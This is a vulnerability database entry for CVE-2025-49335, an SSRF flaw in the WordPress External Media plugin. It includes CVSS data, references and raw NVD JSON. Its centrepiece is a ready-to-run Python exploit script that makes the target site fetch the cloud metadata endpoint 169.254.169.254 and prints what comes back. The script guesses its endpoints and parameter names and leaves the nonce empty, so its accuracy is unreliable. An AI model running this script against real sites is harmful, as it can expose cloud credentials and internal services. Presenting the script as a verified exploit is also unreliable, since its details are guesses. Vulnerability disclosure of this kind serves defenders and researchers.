CVE-2025-49335

Description

Server-Side Request Forgery (SSRF) vulnerability in minnur External Media external-media allows Server Side Request Forgery.This issue affects External Media: from n/a through <= 1.0.36.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

External Media插件 <= 1.0.36

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-49335 SSRF PoC - WordPress External Media Plugin
# Target: WordPress site with External Media plugin <= 1.0.36

import requests
import sys
from urllib.parse import quote

def exploit_ssrf(target_url, target_internal_host):
    """
    Exploit SSRF vulnerability in External Media plugin
    target_url: Base URL of WordPress site
    target_internal_host: Internal host to target (e.g., 169.254.169.254 for AWS metadata)
    """
    
    # Construct malicious URL targeting internal resource
    ssrf_payload = f"http://{target_internal_host}/latest/meta-data/"
    
    # Try different parameter names commonly used in media plugins
    endpoints = [
        "/wp-admin/admin-ajax.php",
        "/wp-json/external-media/v1/import",
        "/wp-admin/admin.php?page=external-media"
    ]
    
    for endpoint in endpoints:
        try:
            # Method 1: AJAX endpoint
            data = {
                'action': 'external_media_import',
                'media_url': ssrf_payload,
                '_wpnonce': ''  # May need valid nonce
            }
            
            response = requests.post(
                target_url + endpoint,
                data=data,
                timeout=10,
                verify=False
            )
            
            print(f"[*] Target: {target_url + endpoint}")
            print(f"[*] Status Code: {response.status_code}")
            
            if response.status_code == 200 and len(response.text) > 0:
                print(f"[!] Potential SSRF - Response received:")
                print(response.text[:500])
                return True
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Error targeting {endpoint}: {e}")
            
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python cve-2025-49335.py <target_url> <internal_host>")
        print("Example: python cve-2025-49335.py http://example.com 169.254.169.254")
        sys.exit(1)
    
    target = sys.argv[1]
    internal_host = sys.argv[2]
    
    exploit_ssrf(target, internal_host)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49335
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49335
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49335/
[4] VulDB https://vuldb.com/cve/CVE-2025-49335
[5] https://patchstack.com/database/Wordpress/Plugin/external-media/vulnerability/wordpress-external-media-plugin-1-0-36-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49335", "sourceIdentifier": "[email protected]", "published": "2026-01-07T15:15:45.573", "lastModified": "2026-04-23T15:31:29.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in minnur External Media external-media allows Server Side Request Forgery.This issue affects External Media: from n/a through <= 1.0.36."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/external-media/vulnerability/wordpress-external-media-plugin-1-0-36-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}